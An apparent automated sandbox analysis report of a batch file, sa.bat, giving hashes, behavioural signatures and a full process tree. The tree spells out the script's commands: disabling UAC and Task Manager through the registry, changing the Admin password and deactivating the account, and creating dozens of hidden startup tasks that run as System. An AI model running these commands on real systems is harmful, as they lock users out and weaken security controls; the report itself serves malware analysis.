Analysis
-
max time kernel
150s -
max time network
275s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
01/10/2024, 13:28
Static task
static1
Behavioral task
behavioral1
Sample
sa.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
sa.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
sa.bat
Resource
win10v2004-20240802-en
General
-
Target
sa.bat
-
Size
4KB
-
MD5
fa632469970851bea61bc599f60804ab
-
SHA1
8c25b218fe42577c7f7da82a90f1c302aadb934e
-
SHA256
fc54b3fa585ed5f0ba2e4bcb35fef5efab3047fda88faf4f929edf6906e96e8a
-
SHA512
df7a1ff63ad4116f11728d7eb2cc11c7e4bba5bcc2f250885d491efa370be3eef2e320665bfae17856549640556d94b49d6bd063155966059c53854391e7c6af
-
SSDEEP
96:tT2T93BJmEAyKe6tfRywHBA4FOzm6z1f+7Sc6Hks8:vrRtfphWmcOSG
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3164 1824 cmd.exe 90 -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Disables Task Manager via registry modification
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4828 schtasks.exe 2168 schtasks.exe 3636 schtasks.exe 4880 schtasks.exe 2432 schtasks.exe 2008 schtasks.exe 2676 schtasks.exe 3904 schtasks.exe 3528 schtasks.exe 2272 schtasks.exe 392 schtasks.exe 3724 schtasks.exe 4536 schtasks.exe 1592 schtasks.exe 4308 schtasks.exe 2492 schtasks.exe 2368 schtasks.exe 3868 schtasks.exe 1960 schtasks.exe 1252 schtasks.exe 2184 schtasks.exe 4368 schtasks.exe 1532 schtasks.exe 1948 schtasks.exe 2504 schtasks.exe 3620 schtasks.exe 1632 schtasks.exe 1336 schtasks.exe 60 schtasks.exe 4828 schtasks.exe 2912 schtasks.exe 4908 schtasks.exe 2520 schtasks.exe 1632 schtasks.exe 752 schtasks.exe 3088 schtasks.exe 4884 schtasks.exe 2132 schtasks.exe 1060 schtasks.exe 2512 schtasks.exe 2284 schtasks.exe 1036 schtasks.exe 2544 schtasks.exe 3536 schtasks.exe 2632 schtasks.exe 4276 schtasks.exe 5084 schtasks.exe 4580 schtasks.exe 848 schtasks.exe 4636 schtasks.exe 4376 schtasks.exe 4976 schtasks.exe 64 schtasks.exe 4444 schtasks.exe 4236 schtasks.exe 3932 schtasks.exe 1572 schtasks.exe 2564 schtasks.exe 3104 schtasks.exe 3200 schtasks.exe 3832 schtasks.exe 680 schtasks.exe 3496 schtasks.exe 1248 schtasks.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1204 WMIC.exe Token: SeSecurityPrivilege 1204 WMIC.exe Token: SeTakeOwnershipPrivilege 1204 WMIC.exe Token: SeLoadDriverPrivilege 1204 WMIC.exe Token: SeSystemProfilePrivilege 1204 WMIC.exe Token: SeSystemtimePrivilege 1204 WMIC.exe Token: SeProfSingleProcessPrivilege 1204 WMIC.exe Token: SeIncBasePriorityPrivilege 1204 WMIC.exe Token: SeCreatePagefilePrivilege 1204 WMIC.exe Token: SeBackupPrivilege 1204 WMIC.exe Token: SeRestorePrivilege 1204 WMIC.exe Token: SeShutdownPrivilege 1204 WMIC.exe Token: SeDebugPrivilege 1204 WMIC.exe Token: SeSystemEnvironmentPrivilege 1204 WMIC.exe Token: SeRemoteShutdownPrivilege 1204 WMIC.exe Token: SeUndockPrivilege 1204 WMIC.exe Token: SeManageVolumePrivilege 1204 WMIC.exe Token: 33 1204 WMIC.exe Token: 34 1204 WMIC.exe Token: 35 1204 WMIC.exe Token: 36 1204 WMIC.exe Token: SeIncreaseQuotaPrivilege 1204 WMIC.exe Token: SeSecurityPrivilege 1204 WMIC.exe Token: SeTakeOwnershipPrivilege 1204 WMIC.exe Token: SeLoadDriverPrivilege 1204 WMIC.exe Token: SeSystemProfilePrivilege 1204 WMIC.exe Token: SeSystemtimePrivilege 1204 WMIC.exe Token: SeProfSingleProcessPrivilege 1204 WMIC.exe Token: SeIncBasePriorityPrivilege 1204 WMIC.exe Token: SeCreatePagefilePrivilege 1204 WMIC.exe Token: SeBackupPrivilege 1204 WMIC.exe Token: SeRestorePrivilege 1204 WMIC.exe Token: SeShutdownPrivilege 1204 WMIC.exe Token: SeDebugPrivilege 1204 WMIC.exe Token: SeSystemEnvironmentPrivilege 1204 WMIC.exe Token: SeRemoteShutdownPrivilege 1204 WMIC.exe Token: SeUndockPrivilege 1204 WMIC.exe Token: SeManageVolumePrivilege 1204 WMIC.exe Token: 33 1204 WMIC.exe Token: 34 1204 WMIC.exe Token: 35 1204 WMIC.exe Token: 36 1204 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3408 wrote to memory of 3432 3408 cmd.exe 83 PID 3408 wrote to memory of 3432 3408 cmd.exe 83 PID 3408 wrote to memory of 2648 3408 cmd.exe 84 PID 3408 wrote to memory of 2648 3408 cmd.exe 84 PID 3408 wrote to memory of 2904 3408 cmd.exe 85 PID 3408 wrote to memory of 2904 3408 cmd.exe 85 PID 2904 wrote to memory of 4388 2904 net.exe 86 PID 2904 wrote to memory of 4388 2904 net.exe 86 PID 3408 wrote to memory of 2448 3408 cmd.exe 87 PID 3408 wrote to memory of 2448 3408 cmd.exe 87 PID 3408 wrote to memory of 1272 3408 cmd.exe 88 PID 3408 wrote to memory of 1272 3408 cmd.exe 88 PID 3408 wrote to memory of 1204 3408 cmd.exe 89 PID 3408 wrote to memory of 1204 3408 cmd.exe 89 PID 3408 wrote to memory of 2880 3408 cmd.exe 93 PID 3408 wrote to memory of 2880 3408 cmd.exe 93 PID 3408 wrote to memory of 848 3408 cmd.exe 94 PID 3408 wrote to memory of 848 3408 cmd.exe 94 PID 3408 wrote to memory of 2548 3408 cmd.exe 95 PID 3408 wrote to memory of 2548 3408 cmd.exe 95 PID 3408 wrote to memory of 2004 3408 cmd.exe 96 PID 3408 wrote to memory of 2004 3408 cmd.exe 96 PID 3408 wrote to memory of 4172 3408 cmd.exe 97 PID 3408 wrote to memory of 4172 3408 cmd.exe 97 PID 3408 wrote to memory of 1572 3408 cmd.exe 98 PID 3408 wrote to memory of 1572 3408 cmd.exe 98 PID 3408 wrote to memory of 1072 3408 cmd.exe 99 PID 3408 wrote to memory of 1072 3408 cmd.exe 99 PID 3408 wrote to memory of 3496 3408 cmd.exe 100 PID 3408 wrote to memory of 3496 3408 cmd.exe 100 PID 3408 wrote to memory of 1632 3408 cmd.exe 101 PID 3408 wrote to memory of 1632 3408 cmd.exe 101 PID 3408 wrote to memory of 2504 3408 cmd.exe 102 PID 3408 wrote to memory of 2504 3408 cmd.exe 102 PID 3408 wrote to memory of 1336 3408 cmd.exe 103 PID 3408 wrote to memory of 1336 3408 cmd.exe 103 PID 3408 wrote to memory of 2492 3408 cmd.exe 104 PID 3408 wrote to memory of 2492 3408 cmd.exe 104 PID 3408 wrote to memory of 2676 3408 cmd.exe 105 PID 3408 wrote to memory of 2676 3408 cmd.exe 105 PID 3408 wrote to memory of 996 3408 cmd.exe 106 PID 3408 wrote to memory of 996 3408 cmd.exe 106 PID 3408 wrote to memory of 4236 3408 cmd.exe 107 PID 3408 wrote to memory of 4236 3408 cmd.exe 107 PID 3408 wrote to memory of 2912 3408 cmd.exe 108 PID 3408 wrote to memory of 2912 3408 cmd.exe 108 PID 3408 wrote to memory of 1388 3408 cmd.exe 109 PID 3408 wrote to memory of 1388 3408 cmd.exe 109 PID 3408 wrote to memory of 2932 3408 cmd.exe 110 PID 3408 wrote to memory of 2932 3408 cmd.exe 110 PID 3408 wrote to memory of 2068 3408 cmd.exe 111 PID 3408 wrote to memory of 2068 3408 cmd.exe 111 PID 3408 wrote to memory of 2240 3408 cmd.exe 112 PID 3408 wrote to memory of 2240 3408 cmd.exe 112 PID 3408 wrote to memory of 4932 3408 cmd.exe 113 PID 3408 wrote to memory of 4932 3408 cmd.exe 113 PID 3408 wrote to memory of 2272 3408 cmd.exe 114 PID 3408 wrote to memory of 2272 3408 cmd.exe 114 PID 3408 wrote to memory of 4316 3408 cmd.exe 115 PID 3408 wrote to memory of 4316 3408 cmd.exe 115 PID 3408 wrote to memory of 3636 3408 cmd.exe 116 PID 3408 wrote to memory of 3636 3408 cmd.exe 116 PID 3408 wrote to memory of 1600 3408 cmd.exe 117 PID 3408 wrote to memory of 1600 3408 cmd.exe 117 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 64 IoCs
pid Process 4236 attrib.exe 4132 attrib.exe 4480 attrib.exe 1848 attrib.exe 2208 attrib.exe 2708 attrib.exe 2880 attrib.exe 2664 attrib.exe 720 attrib.exe 3452 attrib.exe 3536 attrib.exe 4656 attrib.exe 3004 attrib.exe 3624 attrib.exe 1600 attrib.exe 2248 attrib.exe 532 attrib.exe 2000 attrib.exe 3800 attrib.exe 736 attrib.exe 5028 attrib.exe 2572 attrib.exe 1336 attrib.exe 1132 attrib.exe 3764 attrib.exe 712 attrib.exe 1592 attrib.exe 492 attrib.exe 2584 attrib.exe 4488 attrib.exe 1328 attrib.exe 1828 attrib.exe 4364 attrib.exe 3936 attrib.exe 4160 attrib.exe 1928 attrib.exe 3172 attrib.exe 5116 attrib.exe 4024 attrib.exe 4780 attrib.exe 1440 attrib.exe 4024 attrib.exe 4260 attrib.exe 1600 attrib.exe 2532 attrib.exe 804 attrib.exe 2028 attrib.exe 2756 attrib.exe 3596 attrib.exe 796 attrib.exe 2404 attrib.exe 2208 attrib.exe 4080 attrib.exe 60 attrib.exe 3632 attrib.exe 3352 attrib.exe 3196 attrib.exe 3012 attrib.exe 2884 attrib.exe 4552 attrib.exe 1504 attrib.exe 2592 attrib.exe 1632 attrib.exe 4564 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sa.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:3432
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:2648
-
-
C:\Windows\system32\net.exenet user Admin LockedOut1234@@23122 /active:no2⤵
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Admin LockedOut1234@@23122 /active:no3⤵PID:4388
-
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2448
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f2⤵PID:1272
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process call create "C:\Users\Admin\AppData\Local\Temp\sa.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden1.bat2⤵
- Views/modifies file attributes
PID:2880
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask1" /tr "C:\hidden1.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:848
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden2.bat2⤵PID:2548
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask2" /tr "C:\hidden2.bat" /sc onstart /ru System2⤵PID:2004
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden3.bat2⤵PID:4172
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask3" /tr "C:\hidden3.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1572
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden4.bat2⤵PID:1072
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask4" /tr "C:\hidden4.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3496
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden5.bat2⤵
- Views/modifies file attributes
PID:1632
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask5" /tr "C:\hidden5.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2504
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden6.bat2⤵
- Views/modifies file attributes
PID:1336
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask6" /tr "C:\hidden6.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2492
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden7.bat2⤵PID:2676
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask7" /tr "C:\hidden7.bat" /sc onstart /ru System2⤵PID:996
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden8.bat2⤵
- Views/modifies file attributes
PID:4236
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask8" /tr "C:\hidden8.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2912
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden9.bat2⤵PID:1388
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask9" /tr "C:\hidden9.bat" /sc onstart /ru System2⤵PID:2932
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden10.bat2⤵PID:2068
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask10" /tr "C:\hidden10.bat" /sc onstart /ru System2⤵PID:2240
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden11.bat2⤵PID:4932
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask11" /tr "C:\hidden11.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2272
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden12.bat2⤵PID:4316
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask12" /tr "C:\hidden12.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3636
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden13.bat2⤵
- Views/modifies file attributes
PID:1600
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask13" /tr "C:\hidden13.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:392
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden14.bat2⤵PID:492
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask14" /tr "C:\hidden14.bat" /sc onstart /ru System2⤵PID:4940
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden15.bat2⤵
- Views/modifies file attributes
PID:1828
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask15" /tr "C:\hidden15.bat" /sc onstart /ru System2⤵PID:4308
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden16.bat2⤵
- Views/modifies file attributes
PID:4024
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask16" /tr "C:\hidden16.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2564
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden17.bat2⤵PID:4224
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask17" /tr "C:\hidden17.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2544
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden18.bat2⤵
- Views/modifies file attributes
PID:2248
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask18" /tr "C:\hidden18.bat" /sc onstart /ru System2⤵PID:4128
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden19.bat2⤵
- Views/modifies file attributes
PID:3764
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask19" /tr "C:\hidden19.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3088
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden20.bat2⤵
- Views/modifies file attributes
PID:3352
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask20" /tr "C:\hidden20.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4884
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden21.bat2⤵
- Views/modifies file attributes
PID:4132
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask21" /tr "C:\hidden21.bat" /sc onstart /ru System2⤵PID:3444
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden22.bat2⤵
- Views/modifies file attributes
PID:712
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask22" /tr "C:\hidden22.bat" /sc onstart /ru System2⤵PID:4700
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden23.bat2⤵
- Views/modifies file attributes
PID:3632
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask23" /tr "C:\hidden23.bat" /sc onstart /ru System2⤵PID:2464
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden24.bat2⤵
- Views/modifies file attributes
PID:4260
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask24" /tr "C:\hidden24.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2132
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden25.bat2⤵
- Views/modifies file attributes
PID:3596
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask25" /tr "C:\hidden25.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1252
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden26.bat2⤵
- Views/modifies file attributes
PID:532
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask26" /tr "C:\hidden26.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1248
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden27.bat2⤵PID:2484
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask27" /tr "C:\hidden27.bat" /sc onstart /ru System2⤵PID:4848
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden28.bat2⤵PID:4208
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask28" /tr "C:\hidden28.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2184
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden29.bat2⤵
- Views/modifies file attributes
PID:2000
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask29" /tr "C:\hidden29.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2368
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden30.bat2⤵
- Views/modifies file attributes
PID:3196
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask30" /tr "C:\hidden30.bat" /sc onstart /ru System2⤵PID:1036
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden31.bat2⤵PID:804
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask31" /tr "C:\hidden31.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4908
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden32.bat2⤵
- Views/modifies file attributes
PID:3800
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask32" /tr "C:\hidden32.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4636
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden33.bat2⤵PID:3832
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask33" /tr "C:\hidden33.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3104
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden34.bat2⤵
- Views/modifies file attributes
PID:4480
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask34" /tr "C:\hidden34.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3536
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden35.bat2⤵PID:3540
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask35" /tr "C:\hidden35.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4880
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden36.bat2⤵PID:2596
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask36" /tr "C:\hidden36.bat" /sc onstart /ru System2⤵PID:3468
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden37.bat2⤵PID:4732
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask37" /tr "C:\hidden37.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3868
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden38.bat2⤵
- Views/modifies file attributes
PID:3004
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask38" /tr "C:\hidden38.bat" /sc onstart /ru System2⤵PID:4656
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden39.bat2⤵PID:3896
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask39" /tr "C:\hidden39.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2432
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden40.bat2⤵
- Views/modifies file attributes
PID:2664
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask40" /tr "C:\hidden40.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3620
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden41.bat2⤵
- Views/modifies file attributes
PID:3012
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask41" /tr "C:\hidden41.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2632
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden42.bat2⤵
- Views/modifies file attributes
PID:3624
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask42" /tr "C:\hidden42.bat" /sc onstart /ru System2⤵PID:4320
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden43.bat2⤵
- Views/modifies file attributes
PID:2756
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask43" /tr "C:\hidden43.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2008
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden44.bat2⤵
- Views/modifies file attributes
PID:1848
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask44" /tr "C:\hidden44.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1632
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden45.bat2⤵
- Views/modifies file attributes
PID:2208
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask45" /tr "C:\hidden45.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1336
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden46.bat2⤵
- Views/modifies file attributes
PID:2884
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask46" /tr "C:\hidden46.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2676
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden47.bat2⤵
- Views/modifies file attributes
PID:736
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask47" /tr "C:\hidden47.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:1060
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden48.bat2⤵PID:1636
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask48" /tr "C:\hidden48.bat" /sc onstart /ru System2⤵PID:2340
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden49.bat2⤵
- Views/modifies file attributes
PID:1592
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask49" /tr "C:\hidden49.bat" /sc onstart /ru System2⤵PID:4852
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden50.bat2⤵
- Views/modifies file attributes
PID:4780
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask50" /tr "C:\hidden50.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:60
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden51.bat2⤵PID:2328
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask51" /tr "C:\hidden51.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3200
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden52.bat2⤵PID:1764
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask52" /tr "C:\hidden52.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4276
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden53.bat2⤵
- Views/modifies file attributes
PID:1600
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask53" /tr "C:\hidden53.bat" /sc onstart /ru System2⤵PID:392
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden54.bat2⤵
- Views/modifies file attributes
PID:492
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask54" /tr "C:\hidden54.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4828
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden55.bat2⤵
- Views/modifies file attributes
PID:796
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask55" /tr "C:\hidden55.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:3724
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden56.bat2⤵PID:3616
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask56" /tr "C:\hidden56.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:5084
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden57.bat2⤵
- Views/modifies file attributes
PID:1440
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask57" /tr "C:\hidden57.bat" /sc onstart /ru System2⤵PID:616
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden58.bat2⤵
- Views/modifies file attributes
PID:2404
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask58" /tr "C:\hidden58.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:2512
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden59.bat2⤵
- Views/modifies file attributes
PID:5028
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask59" /tr "C:\hidden59.bat" /sc onstart /ru System2⤵PID:2588
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden60.bat2⤵
- Views/modifies file attributes
PID:4552
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask60" /tr "C:\hidden60.bat" /sc onstart /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4580
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden61.bat2⤵
- Views/modifies file attributes
PID:3936
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask61" /tr "C:\hidden61.bat" /sc onstart /ru System2⤵PID:3784
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden62.bat2⤵
- Views/modifies file attributes
PID:2584
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask62" /tr "C:\hidden62.bat" /sc onstart /ru System2⤵PID:2576
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden63.bat2⤵
- Views/modifies file attributes
PID:2708
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "HiddenTask63" /tr "C:\hidden63.bat" /sc onstart /ru System2⤵PID:2928
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\hidden64.bat2⤵
